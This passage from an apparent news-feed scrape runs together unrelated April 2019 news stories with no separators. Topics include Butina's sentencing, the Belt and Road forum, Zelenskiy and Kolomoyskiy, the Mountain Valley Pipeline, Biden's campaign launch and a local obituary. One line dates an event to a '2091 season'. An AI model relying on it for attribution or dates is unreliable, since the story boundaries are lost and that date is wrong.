drain cover. Baku began hosting Formula One Grand Prix races in 2016 under a 10-year contract that required the paving of city streets with fresh asphalt. Some residents complain that the historic character of Baku's Old City has been damaged by the paving over of 200-year-old cobbled streets. The Azerbaijan Grand Prix will be held on April 28. Based on reporting by AP, dpa, and the BBC WASHINGTON -- Maria Butina, who pleaded guilty to not registering as an agent for the Russian government, was sentenced to 18 months in U.S. prison, in a case that prosecutors said highlighted Russian efforts to infiltrate American political circles. U.S. Judge Tanya Chutkan announced the sentence April 26 in Washington, D.C., federal court, accepting what prosecutors had requested in their presentencing filings. Chutkan also ordered Butina to be deported to Russia immediately after she finishes her prison sentence, which is expected in January 2020 after receiving credit for the time she has already spent in U.S. custody. Prior to the sentencing, Butina, 30, reportedly told the court she was "deeply" sorry and asked the court for mercy. "My reputation is ruined, both here in the United States and abroad," she said. She also asked for "a chance to go home and restart my life." Defense lawyers had argued that Butina was merely eager to build connections with U.S. political activists, particularly conservatives, and that her failure to register with the Justice Department was an oversight on her part. Chutkan rejected those arguments. "This was not a simple misunderstanding by an overeager foreign student," she was quoted as saying. The case against Butina was separate from the now-concluded investigation by Special Counsel Robert Mueller, but it touched on many of the same issues related to how and why Russia sought to interfere in U.S. politics in and before the 2016 presidential election. Prosecutors say that before and during her studies at American University in Washington, she sought to build relationships with U.S. conservative political groups, including the influential National Rifle Association, on behalf of at least one powerful Kremlin-connected lawmaker. Butina pleaded guilty in December and agreed to cooperate with investigators. She has been held in custody since her arrest. In her presentencing filing, Butinas lawyers asked the court to sentence her to time already served. "Although Maria has committed a serious offense, just punishment does not require additional incarceration," the lawyers wrote. But in their presentencing filings, prosecutors sought to bolster their argument that Butina's actions were far from innocent. "Butina was not a spy in the traditional sense of trying to gain access to classified information to send back to her home country. She was not a trained intelligence officer," prosecutors wrote in a memo filed April 19. "But the actions she took were nonetheless taken on behalf of the Russian Official for the benefit of the Russian Federation, and those actions had the potential to damage the national security of the United States." The Kremlin has called the charges against Butina groundless, and Russian President Vladimir Putin has insisted that Butina pleaded guilty under pressure. "Maria Butina is a political prisoner, a victim of provocations by intelligence agencies and the arbitrary application of repressive U.S. laws. Under the current conditions of paranoid Russophobia, common sense has not prevailed," the Russian Embassy in Washington said in a post to Twitter after the sentence was handed down. "We demand her immediate release." The Foreign Ministry in Moscow added to that statement, asserting that Butina had changed her plea to guilty given the potential for an even lengthier prison sentence. "Our compatriot was convicted only for being a citizen of Russia," it said in a statement. "This sentence is a shameful stain on the American judicial system, which was made as the result of a blatant political order." With reporting by RIA Novosti, AP, and Reuters Chinese President Xi Jinping says his plan to recreate the old Silk Road is designed to increase and enhance international trade cooperation, as he bid to reassure critics of the $1 trillion infrastructure project. Xi also told attendees at his Belt and Road Forum on April 26 that Beijing would eliminate anticompetitive subsidies to Chinese firms, a practice that has angered many foreign trading partners, including the United States and the European Union. "We will overhaul and abolish unjustified regulations, subsidies, and practices that impede fair competition and distort the market," Xi said. "We will treat all companies, enterprises, and business entities equally and foster an enabling business environment based on market operation and governed by law," he said. The massive Belt and Road initiative seeks to create new rail, road, port, and energy infrastructure that links China with Europe, Africa, and other parts of Asia. The high-profile meeting brings together dozens of heads of states, including Russian President Vladimir Putin, Pakistani Prime Minister Imran Khan, and Italian Prime Minister Giuseppe Conte, whose country became the first G7 member to sign up to the initiative. Also among the 37 leaders attending are Belarusian President Alyaksandr Lukashenka, Azerbaijani President Ilham Aliyev, Uzbek President Shavkat Mirziyoev, Tajik President Emomali Rahmon, and Kyrgyz President Sooronbai Jeenbekov. Kazakhstan's delegation is led by former President Nursultan Nazarbaev, who resigned from office on March 19 but continues to hold the title "leader of the nation." EU members Germany and France are sending ministers while the United States has not dispatched any officials from Washington. The United States and many EU countries have criticized China's project and its lending for regional infrastructure efforts, warning that it has saddled some developing countries with debts they cannot afford to repay. In his opening remarks at the summit on April 26, China's President Xi sought to ease those concerns, pledging to prevent debt risks and saying the massive infrastructure project "is not an exclusive club." Xi said that "we also need to ensure the commercial and fiscal sustainability of all projects so that they will achieve the intended goals as planned." He also sought to reassure critics who have complained about what has been called a lack of transparency involved in deals between Chinese companies and some local governments, raising corruption concerns. "Everything should be done in a transparent way and we should have zero tolerance for corruption," Xi said. "Green" development will also be promoted, he said, amid concerns that infrastructure projects are causing long-lasting environmental harm in the region. "We must adhere to the concept of openness, greenness, and cleanliness," he said. Putin, the second speaker at the forum, said that China's infrastructure initiative meshes perfectly with the goals of the Russian-led Eurasian Economic Union -- which also includes Belarus, Armenia, Kazakhstan, and Kyrgyzstan. In remarks seen as an attempt to alleviate concerns about potential tension as Chinas economic ties expand particularly in former Soviet republics of Central Asia Putin said relations between China and Russia are developing in all spheres at a "very considerable" speed. Putin also called Chinas infrastructure initiative "immensely timely and successful." "It is taking on a global nature and is starting to lay down the principles of building international relations and the norms of economic ties that are relevant today," Putin said. Nazarbaev spoke third at the event on April 26, a position reflecting his significance to China's infrastructure initiative despite stepping down from Kazakhstan's presidency last month. "The historic cycle again brings the center of the world's gravitation to the East," Nazarbaev said. "We see today that Asia has become a region of the 21st century, as 28 percent of the world's GDP is concentrated here. That figure will be growing steadily. Already, this trend of civilization is offering new horizons for cooperation." Pakistans prime minister on April 26 praised what he called "substantial progress" in the China-Pakistan Economic Corridor -- a key element of Chinas initiative. Imran Khan told the forum that Pakistans electricity supplies had increased "massively" under the project and that his country was looking forward to its next phase -- which is meant to focus on "social uplift," poverty alleviation, and the development of agriculture and industry. Khan said Pakistan wants to sign an expanded free trade agreement with China, describing relations between Islamabad and Beijing as "strong, resilient, unbreakable." China has pledged more than $60 billion in loans and investments to help build roads, ports, electricity plants, and industrial parks in financially troubled Pakistan. Critics have cited several negative developments that have occurred as a result of initiative projects, such as the Sri Lankan government being forced to hand over a deep-sea port to China for 99 years after it was unable to repay loans. Xi reiterated that China would not engage in the competitive devaluation of its yuan currency -- another issue Washington and others in the West have warned against. Since Xi launched the initiative in 2013, China has invested $90 billion in projects while Chinese banks have provided at least $200 billion in loans to foreign governments. With reporting by AFP and Reuters KYIV -- Ukrainian President-elect Volodymyr Zelenskiy has worked hard to publicly distance himself from one of the country's wealthiest and most controversial oligarchs, Ihor Kolomoyskiy, and show a public eager for change that he is the antiestablishment insurgent chosen by 73 percent of voters in last weekend's election. But comments made to Ukrainian media by a lawyer working for both Kolomoyskiy and Zelenskiy who appeared by the candidate's side throughout his campaign could undermine that effort. Andriy Bohdan, a typically secretive lawyer and former deputy minister, has claimed that he was among the first people to plant the seed in the comic Zelenskiy's mind to run for the presidency. "I am one of those who persuaded him [to enter politics]It was more than five years ago," Bohdan said in a joint interview with reporters from independent Ukrainian news outlets Novoye Vremya and Ukrayinska Pravda published on April 26. The comments, coming from someone with presumably intimate knowledge of Kolomoyskiy's thinking and operations, are likely to fuel criticism suggesting Zelenskiy, a political neophyte, is the oligarch's project. The 41-year-old Zelenskiy is linked to Kolomoyskiy through the oligarch's ownership of TV station 1+1, which hosts Zelenskiy's comedy programs and hit sitcom, Servant Of The People. In Servant, Zelenskiy plays Vasiliy Holoborodko, a fictional history teacher who is thrust into the presidency after his video rant about the country's problems goes viral. But reporters have found other links between the two, including shared security details and vehicles and possible meetings abroad in the run-up to Zelenskiy's candidacy. While the links do not prove that Kolomoyskiy financed Zelenskiy's campaign or is influencing him, critics have raised concerns about the connections. Both men have said their relationship is strictly business, although Kolomoyskiy did tell the BBC in an interview in Israel, where he remains in self-exile amid open investigations into his business practices in Ukraine, that "Ukraine needs not just one Zelenskiy. It needs millions of Zelenskiys." Kolomoyskiy took on a prominent role as governor, helping his Dnipropetrovsk region ward off possible unrest after armed, Russia-backed separatism broke out in eastern Ukraine in 2014. But he fell out of favor with President Petro Poroshenko's administration amid murky corporate disputes and the 2016 nationalization of PrivatBank, one of independent Ukraine's first privately owned banks, in a case that is still the object of court cases. Poroshenko won a special presidential election in May 2014 as a compromise candidate after Russia-friendly President Viktor Yanukovych fled the country amid a deadly crackdown on pro-EU protests and other street unrest. Bohdan told the reporters that he and Zelenskiy met often, in Kyiv and elsewhere, in 2015. He called their early contacts "ideological, philosophical meetings, about the war, about the future, about Russia, about what is happening [in Ukraine]." It was late 2015 when Bohdan floated the idea to Zelenskiy to run for parliament, he said. Lawmaker Boris Filatov had recently vacated his seat after being elected mayor of the city of Dnipro, leading to an early election. That's when Bohdan said he called Zelenskiy to ask for a meeting. "I even flew to Odesa to meet him," he said. Bohdan said his plan was to convince Zelenskiy to win a seat in parliament and then use it as a launchpad to the presidency. But according to Bohdan, Zelenskiy turned down the offer, saying it would be "wrong" and fearing that by the time the next presidential election came around he would be seen as merely another of the political elite. "He was right, looking back today," Bohdan said. The idea arose again in March 2018, when Bohdan said he ordered a presidential poll that included Zelenskiy. When the poll results came back with the comedian in sixth place, Bohdan knew he might have a real chance. Bohdan declined to say whether his decision to push Zelenskiy to run was coordinated with Kolomoyskiy. "He never took it seriously," Bohdan claimed of his oligarch boss. But he said Kolomoyskiy began to believe in October or November that Zelenskiy had a shot at knocking out incumbent Poroshenko or, if not, of at least laying the groundwork for a political party ahead of parliamentary elections slated for October 2019. In December, "We saw the [polling results of various runoff scenarios] in the second round" of the election, Bohdan said, adding, "I had no doubt that [Zelenskiy] would win the presidential race." The press office of Zelenskiy, who announced on April 26 his departure for a two-day vacation in Turkey, did not respond to RFE/RL's request for comment on Bohdan's remarks. Zelenskiy defeated Poroshenko in a landslide in a two-man runoff on April 21, winning 73 percent of the votes, compared to Poroshenko's 24 percent. He is expected to be inaugurated in early June. Russian President Vladimir Putin is in Beijing to brief Chinese leaders on his just-concluded summit with North Korean leader Kim Jong Un and said he is also willing to share details of the talks with the United States. North Korean state media on April 26, meanwhile, reported that Kim had invited Putin to Pyongyang "at a convenient time" -- an offer that was readily accepted, according to the Korean Central News Agency. No dates were specified. The moves could raise Moscows profile and influence in negotiations between Washington and Pyongyang over North Koreas nuclear program, talks that have failed to bring fruitful results despite two summits between U.S. President Donald Trump and Kim. The U.S. president in the past has expressed admiration for both Putin and Kim and said he is looking for closer ties with both leaders. Putin said he and Kim had a "substantial discussion" and exchanged views on how to defuse the standoff over Pyongyang's nuclear program. After his talks with Kim in the Far East Russian port of Vladivostok, Putin left for his two-day trip to Beijing, where he said he will inform Chinese leaders about the summit. "And we will just as openly discuss this issue with the U.S. leadership," Putin said. "There are no secrets. Russia's position has always been transparent. There are no plots of any kind." 'Meaningful Exchange' Putin was in Beijing to attend, along with leaders from dozens of other countries, the opening of a forum on the Belt and Road initiative, Chinas $1 trillion project that seeks to create new rail, road, port, and energy infrastructure that links China with Europe, Africa, and other parts of Asia. At the conclusion of the Vladivostok summit, Kim used harsh language to describe talks with the United States, accusing Washington of acting in "bad faith" during the Hanoi summit in February between Kim and Trump. "The situation on the Korean Peninsula and the region is now at a standstill and has reached a critical point where it may return to its original state as the U.S. took a unilateral attitude in bad faith at the recent second [North Korea-U.S.] summit talks," KCNA reported Kim saying. Washington is seeking a deal to have Pyongyang give up its nuclear weapons, while the North Koreans have demanded relief from sanctions before further commitments can be made. In March, the United States imposed fresh sanctions on North Korea over its nuclear weapons program. Putin on April 25 said that Pyongyang needs international security guarantees offered within a multinational framework before it ends its nuclear program. "They [North Koreans] only need guarantees about their security," Putin told reporters after the summit ended. Kim said he had a "very meaningful exchange of views on issues of mutual interest" with Putin, adding that they had "discussed ways of peaceful settlement." In Brussels, European Union Council president Donald Tusk said, "We call on [North Korea] to concretely engage on denuclearization and the complete, verifiable dismantlement of all its nuclear weapons." With reporting by Reuters, AP, BBC, KCNA, TASS, and AFP. U.S. President Donald Trump said he would withdraw U.S. backing for a treaty that sought to regulate the global trade in small arms and other conventional weaponry. Trump made the announcement on April 26 at a convention of the most influential U.S. gun rights organization, the National Rifle Association, which had asserted the 2014 treaty posed a threat to gun rights. The Arms Trade Treaty regulates international trade in conventional weapons, such as small weaponry and hand-held guns. It also regulates the purchase and sale of things like tanks, combat aircraft, and warships. The treaty has been formally joined by 101 nations, and signed but not yet ratified by 29, including the United States. Trump's predecessor, Barack Obama, signed it in 2013 but it was never ratified by the U.S. Senate. A spokesman for the United Nations, Stephane Dujarric, defended the treaty, saying it is "a landmark achievement in the efforts to ensure responsibility in international arms transfers." He added that the treaty "is the only global instrument aimed at improving transparency and accountability in the international arms trade." Trump told the National Rifle Association convention that America was "rejecting this treaty." "We're taking our signature back," he said. The United States is the world's largest arms exporter. Since taking office in 2017, Trump has undone or rolled back other major international agreements, such as the Paris Climate Agreement, which aims to reduce global carbon emissions that scientists link to harmful climate change. Last year, Trump pulled the United States out of deal with Iran that eased sanctions in exchange for Tehran agreeing to limits being placed on its nuclear activities. Based on reporting by AP, Reuters, and dpa April 26 marks the 33rd anniversary of the worlds worst man-made disaster the explosion at the Chernobyl Nuclear Power Plant. In 1986, just outside of the town of Pripyat, Ukraine, one of the plants nuclear reactors caught fire during routine testing. The resulting explosion sent 190 tons of highly radioactive material billowing into the atmosphere. According to the International Atomic Energy Agency, the accident at Chernobyl was approximately 400 times more potent than the atomic bomb dropped on Hiroshima. Two workers at the plant were killed immediately and 28 of the firemen and emergency cleanup workers died within three months from acute radiation sickness. Officials neglected to immediately evacuate the residents of Pripyat. It wasnt until the following day that the entire population of 49,360 was removed. In the following weeks and months, an additional 67,000 people were evacuated from their homes. Attempts to stop fumes leaking from the reactor failed and the poisonous gases continued to spew into the air around Chernobyl. To this day, Pripyat remains uninhabited and many who lived in the most radioactive areas still suffer effects from the toxins. High rates of cancers in adults and their children are still being detected decades after the Chernobyl disaster. In 2017, the North Korean government presented the United States with a $2 million invoice for the hospital care it provided to imprisoned American Otto Warmbier, according to The Washington Post. Officials with the communist regime insisted that the American envoy sent to bring the critically ill Warmbier home sign a promise to pay before they would allow the diplomat and the UVA student to leave Pyongyang. The U.S. official signed the bill apparently on instructions from President Trump which was then sent to the Treasury Department, where it languished unpaid throughout all of 2017. But, according to The Post, it isnt clear whether the bill still remains unpaid. The White House did not respond to questions from the newspaper. White House Press Secretary Sarah Sanders did respond by email: We do not comment on hostage negotiations, which is why they have been so successful during this administration. The president has insisted that his White House has never paid any money to Pyongyang to bring detained Americans home from the communist nation. One killed in Cancun police shootout during arrest Cancun, Q.R. One person has been arrested after a shootout with Cancun police that left one dead. The shooing occurred between Cancun policias ministeriales and a woman when police arrived at a home in the La Joya subdivision to make an arrest. The home visit was part of their investigation into a recent shooting in SM 75 of Cancun that left two dead. When police arrived at the Ja Joya home, two of its occupants fled with the woman firing at police. In the process, the young woman reported to be in her 20s, lost her life. The intended arrest was for Juan Diego N.V. who police believe is responsible for the Tuesday deaths of two in SM 75 as well as a bar shooting in February that left five dead. Attorney General of the State, Oscar Montes de Oca Rosales reported that Juan Diego previously worked for the criminal group Los Pelones and is currently part of a cell of hit men from the Jalisco Cartel Nueva Generacion. He belonged to Los Pelones cartel and went to the Jalisco cartel for a new generation they are jumping from one group to another. They are betraying each other which is why more confrontations arise between them, he explained. Oscar Montes de Oca acknowledged that Diego is a key player in the operation of the drug trafficking group and is allegedly involved in several executions. Photo: la Fiscalia General del Estado In February, five people died inside La Kuka bar in Cancun when gunmen entered and began shooting. No arrests in that case were made until now. Police did not leave the area before arresting Juan Diego in SM 254 with support from Navy personnel. The forensic team arrived to remove the body. The accused will be held for the state attorney. High-class bluegrass is headed for Dublin, courtesy of the NRCC Fiddle, Banjo & Dance Club. The Gibson Brothers, Eric and Leigh, lead a unit that has reeled in multiple International Bluegrass Music Association Awards, including Entertainer of the Year in 2012 and 2013. The Black Keys Dan Auerbach produced the brother-harmony specialists latest record, Mockingbird. The single Lay Your Body Down received love from Rolling Stone online, which dubbed it one of the 10 best country songs of the week of Sept. 11, 2018. A state regulation that delayed a key part of work on the Mountain Valley Pipeline the crossings of more than 1,000 streams and wetlands in the two Virginias has been revised in a way likely to benefit the project. The West Virginia Department of Environmental Protection wrote in a letter Wednesday to federal regulators that it has modified about 50 conditions to permits issued by the U.S. Army Corps of Engineers. One of the conditions was that the pipeline needed to be built across four major rivers in West Virginia within 72 hours. The Army Corps improperly bypassed that rule when it issued whats called a Nationwide Permit 12 to the natural gas project, the 4th U.S. Circuit Court of Appeals ruled in throwing out the authorization in October. Although several more steps need to be taken before water body crossings can resume, a revised condition doing away with the time restriction in certain cases was seen as a victory for Mountain Valley. However, complications from another court challenge involving a different pipeline in Virginia led one of the five partners in the joint Mountain Valley venture to say this week that completion of the project by the end of this year now appears unlikely. Rebecca Kujawa, chief financial officer of NextEra Energy Inc., made her comments in a report on first quarter results posted to the companys website. Construction of Mountain Valley, which began last year, is expected to ramp up in the coming months following a winter lull, Kujawa said. But she expressed concerns about a 4th Circuit decision last year that prohibited the Atlantic Coast Pipeline from crossing the Appalachian Trail. The Mountain Valley pipeline would also cross the scenic footpath, and backers worry that the project could be jeopardized by the Atlantic Coast ruling. We are continuing to work through options with our partners and will provide a further update in the near future, Kujawa said. Natalie Cox, a spokeswoman for Mountain Valley, said Thursday that there have been no announced changes to the companys most recent goal of a late 2019 completion date. However, in light of the ongoing permit challenges, the window to achieve these targets is becoming more narrow, she wrote in an email. The team has been pursuing options and alternatives that would address the outstanding issues and, if realized within the next few months, would allow for completion late this year. When work on the 303-mile pipeline began a year ago, plans were to have it done by late 2018. As for the Nationwide Permit process, Cox said, the next step will be for the U.S. Environmental Protection Agency to review the modified conditions from West Virginia. Then the Army Corps will do the same. Mountain Valley still hopes to receive a new permit from the Army Corps in time to compete the project this year, she said. Pipeline opponents were quick to react to the move, staging a protest early Thursday morning in which a man chained himself to equipment along the pipelines construction right of way in Lindside, West Virginia. To hell with your permits, read a banner attached to a piece of welding equipment to which 22-year-old Holden Dometrius had locked himself, according to a news release from Appalachians Against Pipelines. The organization, which has been affiliated with more than dozen such blockades in West Virginia and Southwest Virginia, said the pipeline endangers water, ecosystems, and communities along its route, contributes to climate change, increases demand for natural gas (and therefore fracking), and is entrenched in corrupt political processes. After several hours of blocking work, Dometrius was removed by law enforcement officials. A clerk in the Monroe County Magistrates Court said Dometrius faces a felony charge of threatening terrorism and three misdemeanors: trespassing, obstruction and tampering with equipment. Dometrius, of Winston-Salem, North Carolina, was being held in jail in lieu of an $8,000 cash bond Thursday afternoon, the clerk said. In October, the 4th Circuit vacated a Nationwide Permit 12 issued for a portion of the pipeline running through West Virginia. A legal challenge brought by the Sierra Club and other environmental organizations asserted that the Army Corps overlooked a requirement, imposed by the states environmental agency, that work on four major river crossings be completed within 72 hours to limit potential environmental harm. Mountain Valley has said that digging trenches across the river bottoms for its 42-inch diameter pipe would take four to six weeks. Two similar stream-crossing permits one for Southwest Virginia and another for a second part of West Virginia were suspended by the Army Corps days after the court ruling. But by the time of the courts opinion, the West Virginia Department of Environmental Protection had already initiated changes to address the courts concerns. The department invited public comments in August after the court had issued a stay to stream crossings in response to the Sierra Clubs lawsuit, which was later lifted on a number of revisions to state conditions to the Army Corps permits, including one that removed the 72-hour time restriction in certain cases. Concerns by regulators date back to Mountain Valleys original plan to use a so-called wet open cut process to run the pipeline across streams and wetlands. That entails digging a ditch along the bottom of a flowing stream, and can lead to large amounts of sediment and other forms of pollution being washed downstream. The company has since changed plans. It now proposes to use a dry-cut method, in which a temporary dam diverts the water from half of the rivers width while construction crews dig a trench for the pipe along the exposed river bed. The process is then repeated on the other half of the river. While the dry-cut method takes longer than 72 hours, it poses less of an environmental risk, the Department of Environmental Protection said in explaining why it was removing the time restriction. Appalachian Mountain Advocates, a nonprofit law firm that represented the Sierra Club in the 4th Circuit case, objected to the departments plans during the written public comment period. In the past, a Sierra Club representative did not rule out the possibility of additional litigation if the Army Corps reissues its Nationwide Permit 12. An attorney with Appalachian Mountain Advocates declined to comment Thursday. For Mountain Valley to get the $4.6 billion project fully back on track, it must still win approval from a second federal agency. The U.S. Forest Service had approved the pipeline to pass through about 3.5 miles of the Jefferson National Forest. That authorization was struck down last year by the 4th Circuit, which ruled that the agency failed to take into account expected problems with erosion and sedimentation. The appeals court ruling sent the permit back to the Forest Service for reconsideration in July. Since then, the agency has said little about the process, other than it was developing its response to the issues identified by the court. The Forest Service has also not responded to a Freedom of Information Act request seeking more information, which was filed in January by The Roanoke Times. The business news you need Get the latest local business news delivered FREE to your inbox weekly. Sign up! * I understand and agree that registration on or use of this site constitutes agreement to its user agreement and privacy policy. BRANDY STATION Anyone who ventures out to Brandy Station on Sunday afternoon can hear history straight from the pens of men who made it. Visitors to the Brandy Station Foundations Graffiti House will get a rare chance to learn of two Vermont brothers who camped in Culpeper County and fought in the battles of Fredericksburg, Chancellorsville, Mine Run, the Wilderness and more. Their story was unknown until recently, when Pittsburgh resident Carleton Young began cleaning out the attic of his parents home after they died. He found an old wooden box filled with about 250 letters written by Henry and Francis Martin, both members of the Union Army of the Potomacs Vermont Brigade. It was all quite confusing to me at first because I had no idea where the letters had come from or why they had ended up in my parents attic, Young wrote the Star-Exponent. I had never heard of any relatives with the last name of Martin. And I could not imagine why, with my interest in history, that my father had never mentioned to me that he had this box of Civil War letters in the attic, he added. To unearth answers, Young spent more than a decade retracing the wartime steps of the Martin brothers, walking battlefields where they fought and visiting their home of Williamstown, Vermont. The result of his research is a book, Voices from the Attic: The Williamstown Boys in the Civil War. On Sunday, at 2 p.m., the author will share the story of what he discovered during the first talk of the foundations 2091 season at its antebellum house in the modern-day crossroads village. The Martin boys and their comrades camped near Brandy Station, a vital railroad depot for the Union army, during its lengthy occupation of Culpeper County. The two soldiers wrote more letters from Camp near Brandy Station than any other location during their wartime service, Young said. The Martin boys also fought in the Peninsula Campaign, at South Mountain, Antietam, Gettysburg, Funkstown and Cedar Creek, and policed the New York City draft riots. Their insightful and detailed letters explore the battles as well as soldiers life in between them. For example, The Vermont History Journal said the book is more than another good narrative. It is an adventure of historical research and discovery. Unlike other soldiers who may have skipped over tough details when writing home to families, the brothers did not shy away from describing the horror of battles, their hardships in camp, and what they saw as they marched through the South, the Western Pennsylvania History Journal said of Youngs book. More than merely satisfying an interest in the war, the author demonstrates our surprising connections to each other both past and present. Young has spoken to more than 150 historical societies, libraries and Civil War groups in nine states. The author earned a masters degree in history from Ohio University and a doctorate from the University of Pittsburgh. He taught advanced placement history for 37 years at Thomas Jefferson High School in Pittsburgh, and also taught at the University of Pittsburgh and Carnegie Mellon University, among other institutions. Youngs lecture is free, although donations are welcome. Copies of Youngs book will be on hand for sale and signing. The Brandy Station Foundation is an all-volunteer 501-3 nonprofit that operates the Graffiti House. Learn more at www.brandystationfoundation.com Former Vice President Joe Biden declared his third run for the White House on Thursday, arguing in a video that the 2017 white supremacist violence in Charlottesville showed that the 2020 presidential election will be a battle for the soul of America. While it was reported that Biden had considered making his announcement in Charlottesville, he ultimately declined to do so. Instead, Charlottesville is the first word he speaks in a video about President Donald Trumps comment that the Unite the Right rally involved very fine people on both sides. The Aug. 12, 2017, rally, which was meant to coalesce disparate far-right movements, resulted in the deaths of a local counter-protester, Heather Heyer, and two state police troopers monitoring the rally in a helicopter that crashed. James Alex Fields Jr., an avowed white supremacist from Ohio, was convicted of driving his car into a crowd of people, which included Heyer, after the rally descended into chaos and police declared an unlawful assembly. Bidens announcement only uses footage of the Aug. 11 torch-lit march at the University of Virginia. He also mentions those who stood against the rally in a circle at the Rotunda and were attacked, calling them a courageous group of Americans. We are in the battle for the soul of this nation, Biden said in the video. If we give Donald Trump eight years in the White House, he will forever and fundamentally alter the character of this nation who we are. And I cannot stand by and watch that happen. Bidens sister and longtime political confidante, Valerie Biden Owens, told The Associated Press that Trumps comments were a blow to the man who had served with Americas first black president. It really started percolating, and the essence of this was Charlottesville, Biden Owens said. I can tell you that was a major motivating moment for my brother, and the entire family. The big yes started with this, said Ted Kaufman, Bidens longtime Senate chief of staff. As rumors of a Charlottesville announcement swirled, local activists and others said that they did not want Biden to use the city to launch an anti-Trump campaign, with some vowing to protest if Biden came to town. Bidens announcement did little to assuage those criticisms. Walt Heinecke, an associate professor of education at UVa, said he believed the video was inappropriate. Heinecke was part of the scrum around the Thomas Jefferson statue on Aug. 11, 2017, and organized counter-demonstrations for the next day. He said he invited the White House to participate in the counter-demonstrations but received no response. Joe could have come and spoken that day, he said. I think many folks on the ground that weekend and working for justice since feel offended by the video. Where were these politicians when we were in the streets and since when we have been addressing affordable housing and discriminatory policing? Jalane Schmidt, a UVa associate professor who has been an active anti-racist voice in Charlottesville before and after rally, tweeted that Bidens video positioned counter-protesters as a political prop. Leslie Copeley, an insurance underwriter who said she has lived in the area for 20 years, said she remains open to all political candidates running in 2020, but saw Bidens video as a further attempt to divide people. My initial gut reaction was that I was put off by [the video], she said. Im not saying the events of Aug. 12 should be covered up or ignored, but he went straight to how it divided us. I wish candidates looked at ways to bring people together; that issue is not the only issue that divides us. Some, however, commended the former vice president for calling out Trumps response to the rally. City Councilor Mike Signer tweeted: As the Jewish mayor of Charlottesville serving when [President Trump] made his contemptible remarks giving safe harbor to neo-Nazis, Im grateful to [Biden] for centering his campaign on our own Thomas Jeffersons idea of America: dignity for all. Biden, 76, joins a crowded field of 20 candidates seeking the Democratic nomination for president. His early campaign plans, however, dont appear to include Charlottesville. The former U.S. senator from Delaware will hold his first public event as a 2020 presidential candidate in Pittsburgh on Monday. Then its off to Iowa, home of the leadoff nominating caucuses on Tuesday and Wednesday, followed by two days in South Carolina. Hell visit the other two early-voting states, Nevada and New Hampshire, in early May, before holding a major rally in Philadelphia. Bidens first media appearance is set for Friday morning on ABCs The View, a move that may help him make an appeal to women whose support will be crucial to winning the primary. He also hired Symone Sanders to serve as a senior strategist, tapping a prominent African American who previously worked for Bidens chief competitor, Bernie Sanders, in the 2016 presidential contest. Opponents of the Atlantic Coast and Mountain Valley pipelines will unveil a new anthem to the cause at a benefit concert Friday night in Charlottesville. The SUN SiNG Collective, a multidisciplinary arts project, will perform To the River at the Jefferson Theater in a concert to support the Interfaith Alliance for Climate Justice, a nonprofit group based in Fauquier County. The concert will begin at 6 p.m. The collective represents musicians, visual artists, videographers, designers and puppet masters who use their work to protest construction of the two natural gas pipelines from shale fields in West Virginia through parts of Virginia to southeastern markets. Their connection is a conviction that we must act now to stop new fossil fuel infrastructure, said Kay Ferguson, producer of the benefit concert. The Atlantic Coast Pipeline is a 600-mile project led by Dominion Energy, a Richmond-based energy giant, that would cross the Allegheny Highlands, the Shenandoah Valley and Piedmont to southeastern Virginia and North Carolina. The Mountain Valley Pipeline is a 303-mile project under construction through Western Virginia to an existing pipeline in Pittsylvania County. Both projects have been approved by the Federal Energy Regulatory Commission but face legal and regulatory roadblocks to their completion. The Atlantic Coast Pipeline has stopped construction while a federal appeals court considers reinstatement of a U.S. Fish & Wildlife Service permit to allow incidental harm to threatened or endangered species. The pipeline company also has appealed to the U.S. Supreme Court to reverse the 4th U.S. Circuit Court of Appeals decision to throw out a federal permit to allow the pipeline to cross the Appalachian Trail in the Blue Ridge Mountains. January 14, 1925 April 21, 2019 Joseph Milton Rowe Sr. of Roanoke, Va. was born as the second child of Professor Charles A. Rowe and Lessie (Chattin) Rowe on January 14, 1925, and passed away on Sunday, April 21, 2019. He was raised in a loving family of artists, musicians, and dancers. From the very beginning Joe showed great promise and skill as a musician especially on the organ and piano. He attended and graduated from Our Lady of Nazareth School in 1943. Joe was a World War II veteran and part of the 95th Infantry during the Invasion of Normandy and European Campaign receiving the Bronze Star for his contribution. He gained notoriety for playing piano in a hastily assembled band of GIs in the street during a lull combat actions. After returning to civilian life he worked numerous jobs finally settling into the family business at Melody Haven. Joe married in 1948. His passion to have children was exemplified by his willingness to adopt three children, Joe Jr., Bob, and Therese. Joe is survived by his brother, James G. Rowe Sr.; and children, Joe Jr. of Christiansburg, Bob and his wife, Eileen, of Cheyenne, Wy., and Therese and her husband, Vincent Stafford, of Lone Tree, Colo. He is also survived by five grandchildren, Andy, James, Jennifer, Michelle and Peter James; seven great-grandchildren, Jameson, Jordon, Casey, Tristan, Aly, Storme and Donavon; and two great-great-grandchildren, Braxton and Breseis. Uncle Joe is further survived by 12 nieces and nephews. Joe was preceded death by his parents, Charles Sr. and Lessie; brother, Charles A. Rowe II; a sister, Joy Rowe Schnurman; and a very special friend, Regina Kesler. The Funeral Service will be held at 10 a.m. on Saturday, April 27, 2019, at Oakey's South Chapel with The Rev. Msgr. Joseph Lehman officiating. Interment with Military Honors will follow at St. Andrew's Diocesan Cemetery. His family will receive friends from 5 until 8 p.m. on Friday, April 26, 2019, at Oakey's South Chapel. In lieu of flowers, please contribute to Joe's first love, music. Please support the arts and nature. Joe will joyously be playing in Heaven with Tommy Dorsey and Glenn Miller bands. Online condolences may be expressed at www.oakeys.com. PM Modi Banda (UP), Apr 26: With half of polling for Lok Sabha elections over in the country, Prime Minister Narendra Modi said Thursday that the leaders of the opposition parties have a long face as they know they will get 'zero battey sannata'. "Opposition leaders have a long face after half of polling is over as they know the outcome," he said at a public meeting here in the Bundelkhand region of Uttar Pradesh. Hitting back at the opposition for their strident criticism of his government, Modi said, "In the first half of campaigning, the opposition kept abusing Modi, but it did not materialise." "So, now in the remaining half, the opposition will keep abusing the EVMs," he said. Advertisement Akhilesh Yadav His remarks came in the backdrop of Samajwadi Party chief Akhilesh Yadav complaining that EVMs were malfunctioning across the country during the third phase of polling on April 23. "The opposition will get 'zero battey sannata'," he said, playing on the name of a Hindi comic movie 'Nil Battey Sannata', which means zero divided by zero equals nothing a slang for good for nothing. Centre Accepts Capt Amarinders Request CHANDIGARH, APRIL 26: The Government of India has accepted Punjab Chief Minister Captain Amarinder Singhs request for relaxation in wheat specification for procurement in the current season, on account of luster loss due to unseasonal rains. The Chief Minister had earlier this week written to Prime Minister Narendra Modi, urging him to ease the norms for procurement in view of the losses incurred by the farmers in their wheat crop due to the rainfall. Responding to the request, the central government has decided to procure wheat in the state with relaxation on provisional basis in the uniform specifications of the crop during the Rabi Marketing Season 2019-20. 